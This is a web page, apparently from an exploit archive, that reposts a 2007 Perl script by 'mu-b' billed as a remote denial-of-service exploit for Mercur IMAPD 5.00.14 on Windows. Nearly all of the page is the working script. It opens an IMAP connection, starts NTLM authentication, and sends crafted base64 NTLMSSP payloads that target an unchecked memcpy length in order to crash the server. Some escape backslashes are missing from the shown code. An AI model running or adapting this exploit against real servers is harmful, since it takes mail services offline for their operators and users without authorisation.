Mercur IMAPD 5.00.14 Remote Denial of Service Exploit (win32)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Mercur IMAPD 5.00.14 Remote Denial of Service Exploit (win32)
# Published : 2007-03-20
# Author : mu-b
# Previous Title : Apple iChat 3.1.6 v441 aim:// URL Handler Format String Exploit PoC
# Next Title : FTPDMIN 0.96 (LIST) Remote Denial of Service Exploit

#!/usr/bin/perl
#
# mercur-v1.pl
#
# Mercur v5.00.14 (win32) remote exploit
# by mu-b - Dec 2006
#
# - Tested on: Mercur v5.00.14 (win32)
#
########

use Getopt::Std; getopts('t:n:', %arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

if (connect_host($target, $imapd_port)) {
    print("-> * Connectedn");

    $buf = "1 AUTHENTICATE NTLMrn";
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payloadn");	

    # src = "NTLMSSP....."
    $buf = "NTLMSSP".("A"x100);
    send(SOCKET, encode_base64($buf)."rn", 0);
    sleep($send_delay);

    # memcpy(s, src+a, b);
    print("-> * Sending payload 2n");
    $buf = "NTLMSSP".
           "x69".
           "x03x00x00x00".
           "xffxff".         # b
           ("A"x2).
           "x00x00".         # a
           ("A"x2).
           "x00x00".
           ("A"x2).
           "x00x00".
           ("A"x2).
           "x04x00".
           ("A"x6).
           "x00x80".
           ("A"x6).
           "x04x00".
           ("A"x12);

    send(SOCKET, encode_base64($buf)."rn", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!n");
}

sub print_header {
    print("Mercur v5.00.14 (win32) remote exploitn");
    print("by: <mu-b@digit-labs.org>nn");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!n");
    $proto  = getprotobyname('tcp')              || die("Error: $!n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!n");
    connect(SOCKET, $paddr)                      || die("Error: $!n");
    return(1338);
}

# www.Syue.com [2007-03-20]